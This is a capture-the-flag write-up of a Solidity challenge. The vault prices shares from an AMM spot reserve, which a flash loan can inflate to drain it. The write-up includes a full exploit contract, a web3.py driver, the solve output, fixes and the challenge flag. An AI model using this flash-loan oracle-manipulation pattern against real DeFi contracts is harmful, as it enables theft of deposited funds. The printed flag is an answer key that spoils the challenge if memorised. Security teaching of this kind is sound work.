CyberApocalypse 2026 — Blockchain — Caldrin's Day Away

Category: Blockchain (Solidity / EVM) **Flag:** `HTB{inquir3y_0ne_c4ldr1n_s0lv3d_ca0edd81993c8c311f743590777fe969}`

---

1. Challenge overview

The challenge deploys a small dockside "DeFi" ecosystem. The story maps neatly onto the contracts:

Story element	Contract
Sharehouse where sailors leave coin/goods for *claim-marks*	`DocksideSharehouse`
The quay market that prices goods	`DocksideMarket` (a constant-product AMM)
The stamp desk that authorises "recount" readings	`PublicStampDesk`
Verrin Goldhand, the smiling broker offering easy fortune	`GoldhandCredit` (a flash loan)
Coins & salt traded on the quay	`TradeToken` (CROWN / SALT, 6 decimals)

Goal

`Setup.isSolved()`:

```
function isSolved() external view returns (bool) {
    return crownCoin.balanceOf(address(sharehouse)) < SOLVE_THRESHOLD; // 150_000e6
}
```

The Sharehouse starts holding **1,000,000 CROWN**. We must drain it to **below 150,000 CROWN**.

Starting resources

Calling `Setup.takeTravelPurse()` (once, first-come) mints us **10,000 CROWN** and grants us a matching **travel-purse credit** of 10,000 — the only key that lets us call `leaveGoods`.

---

2. Key contract mechanics

The Sharehouse is a share vault priced by `recordedHoldings`

```
// deposit: claim marks minted ∝ totalClaimMarks / recordedHoldings
claimMarkAmount = (crownCoinAmount * totalClaimMarks) / recordedHoldings;

// redeem: crown paid out ∝ recordedHoldings / totalClaimMarks
crownCoinAmount = (claimMarkAmount * recordedHoldings) / totalClaimMarks;
```

Initial vault state:

- `recordedHoldings = 1,000,000e6`
- `totalClaimMarks = 990,000e18` (all held by a dummy `0xBEEF`)
- real CROWN balance = `1,000,000e6`

The exchange rate hinges entirely on `recordedHoldings` — and that value is **not** derived from the real token balance. It is set by `recountHoldings`.

`recountHoldings` trusts a manipulable oracle

```
function recountHoldings(bytes calldata stampedOrder) external {
    bytes memory result = stampDesk.readStampedOrder(stampedOrder);
    uint256 newHoldings = abi.decode(result, (uint256));
    recordedHoldings = newHoldings;              // <-- attacker-influenced
}
```

`PublicStampDesk.readStampedOrder` only allows *pre-approved* order bytes, and `Setup` approves exactly one order in its constructor:

```
abi.encodeWithSelector(DocksideMarket.valueCargoAsOneGood.selector,
                       SHAREHOUSE_CARGO_POSITION /*1,000,000e6*/, int128(0));
```

Evaluating it:

```
valueCargoAsOneGood(1_000_000e6, 0)
  = (cargoMarkAmount * crownReserve) / totalCargoMarks
```

```
  = (1_000_000e6   * crownReserve) / 1_000_000e6
  = crownReserve;                                // == the market's live CROWN reserve
```

So **`recountHoldings` sets `recordedHoldings` to the AMM's current `crownReserve`** — a spot price with zero manipulation resistance. Anyone can call `recountHoldings` with the public, pre-stamped order (`Setup.buildPublicRecountOrder()`).

The AMM reserve is trivially movable with a flash loan

`DocksideMarket.trade` is a plain, fee-less constant-product swap. Dumping CROWN in pushes `crownReserve` arbitrarily high; the borrowed capital comes from Verrin Goldhand:

```
GoldhandCredit.borrowForOneCall(amount, data)  // lends up to 90,000,000 CROWN for one callback
```

The only defensive check is `require(coin.balanceOf(this) >= balanceBefore)` at the end — a standard flash loan that just needs to be repaid within the same call.

The one guardrail (and how it's bypassed)

`leaveGoods` blocks deposits while a loan is active:

```
require(goldhandCredit.activeBorrower() == address(0), "LOAN_ACTIVE");
```

But `recountHoldings` and `redeemClaim` have **no such guard**. So we simply deposit *before* taking the loan, and do the recount + redeem *inside* the loan callback.

---

3. The exploit

Sequence of one attacker contract:

1. **`takeTravelPurse()`** → receive 10,000 CROWN + 10,000 purse credit.
2. **`leaveGoods(10,000e6)`** while `recordedHoldings = 1,000,000e6`. Marks minted = `10,000e6 * 990,000e18 / 1,000,000e6 = 9,900e18`. Vault now: real balance `1,010,000e6`, `recordedHoldings = 1,010,000e6`, `totalClaimMarks = 999,900e18`.
3. **`borrowForOneCall(90,000,000e6, "")`** → in the `onQuayLoan` callback:
4. `trade(0→1, 90,000,000e6)` — dump borrowed CROWN into the AMM. `crownReserve` becomes `1,000,000e6 + 90,000,000e6 = 91,000,000e6`.
5. `recountHoldings(buildPublicRecountOrder())` — sets `recordedHoldings = 91,000,000e6`.

6. `redeemClaim(9,900e18)` at the inflated rate: `payout = 9,900e18 * 91,000,000e6 / 999,900e18 ≈ 900,990e6 CROWN`. Vault real balance drops to `1,010,000e6 − 900,990e6 ≈ 109,010e6` → **below 150,000e6**.
7. `trade(1→0, allSalt)` — swap the received SALT back to CROWN (fee-less round-trip returns ~90,000,000e6).
8. `crown.transfer(goldhand, 90,000,000e6)` — repay the loan.

Because the swap is fee-less, the round-trip returns the borrowed principal, the loan repays cleanly, and the ~900,990 CROWN redeemed at the inflated rate is pure profit taken straight out of the Sharehouse.

Result

```
BEFORE  sharehouse crown: 1000000.0   isSolved: False
run status: 1  gasUsed 432540
AFTER   sharehouse crown: 109009.900991   isSolved: True
```

Flag retrieved from the challenge handler (menu option 3):

```
HTB{inquir3y_0ne_c4ldr1n_s0lv3d_ca0edd81993c8c311f743590777fe969}
```

---

4. Root cause

A share-based vault priced its assets from a **spot AMM reserve** (`crownReserve`) instead of its own real token balance, and exposed a permissionless `recountHoldings` to refresh that price. Any actor could:

- borrow via the built-in flash loan to skew the reserve, and
- refresh the vault's `recordedHoldings` to the skewed spot value mid-transaction,

turning a fair 1:1 deposit into a ~90× redemption. The `LOAN_ACTIVE` guard only protected `leaveGoods`, not the price-refresh or redeem paths, so it was defeated by simply depositing before the loan.

5. Fixes

- Price shares off the **actual** `crownCoin.balanceOf(address(this))`, not an external oracle.
- If an oracle is needed, use a **manipulation-resistant TWAP**, not a spot reserve.

- Apply the flash-loan re-entrancy / `LOAN_ACTIVE` guard consistently to **all** state-changing paths (`recountHoldings` , `redeemClaim`), not only `leaveGoods` .
- Charge AMM swap fees so a same-block price round-trip is not free.

Appendix — Exploit contract

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

interface ISetup {
    function crownCoin() external view returns (address);
    function saltGoods() external view returns (address);
    function quayMarket() external view returns (address);
    function goldhandCredit() external view returns (address);
    function sharehouse() external view returns (address);
    function takeTravelPurse() external;
    function buildPublicRecountOrder() external view returns (bytes memory);
    function isSolved() external view returns (bool);
}
interface IToken {
    function approve(address, uint256) external returns (bool);
    function transfer(address, uint256) external returns (bool);
    function balanceOf(address) external view returns (uint256);
}
interface IShare {
    function leaveGoods(uint256) external returns (uint256);
    function recountHoldings(bytes calldata) external;
    function redeemClaim(uint256) external;
    function claimMarks(address) external view returns (uint256);
}
interface IMarket { function trade(int128, int128, uint256, uint256) external returns (uint256); }
interface IGold  { function borrowForOneCall(uint256, bytes calldata) external; }

contract Exploit {
    ISetup public immutable setup;
    IToken public crown; IToken public salt;
    IMarket public market; IShare public share; IGold public gold;
    uint256 constant PURSE  = 10_000e6;
    uint256 constant BORROW = 90_000_000e6;

    constructor(address _setup) { setup = ISetup(_setup); }

    function run() external {
        crown  = IToken(setup.crownCoin());
        salt   = IToken(setup.saltGoods());
        market = IMarket(setup.quayMarket());
        share  = IShare(setup.sharehouse());
        gold   = IGold(setup.goldhandCredit());

        setup.takeTravelPurse();                      // 10,000 CROWN + purse credit
        crown.approve(address(share), type(uint256).max);
        share.leaveGoods(PURSE);                       // cheap deposit -> 9,900e18 marks
```

```
        gold.borrowForOneCall(BORROW, "");              // flash loan -> onQuayLoan
    }

    function onQuayLoan(uint256 amount, bytes calldata) external {
        crown.approve(address(market), type(uint256).max);
        market.trade(int128(0), int128(1), amount, 0);  // pump crownReserve
        share.recountHoldings(setup.buildPublicRecountOrder()); // recordedHoldings := crownReserve
        share.redeemClaim(share.claimMarks(address(this)));     // drain at inflated rate
        salt.approve(address(market), type(uint256).max);
        market.trade(int128(1), int128(0), salt.balanceOf(address(this)), 0); // swap back
        crown.transfer(address(gold), amount);          // repay
    }
}
```

Driver (web3.py)

```
from web3 import Web3
import json
w = Web3(Web3.HTTPProvider("http://154.57.164.77:32313/api/<uuid>"))
acct = w.eth.account.from_key("<PRIVKEY>")
setup = "0xCC80c2910e2Ac22DB2D3A812CcF7cCF790BCfBf8"
# compile Exploit.sol with solc 0.8.20, deploy Exploit(setup), then call run()
# afterwards: Setup.isSolved() == True ; fetch flag via the handler menu (option 3)
```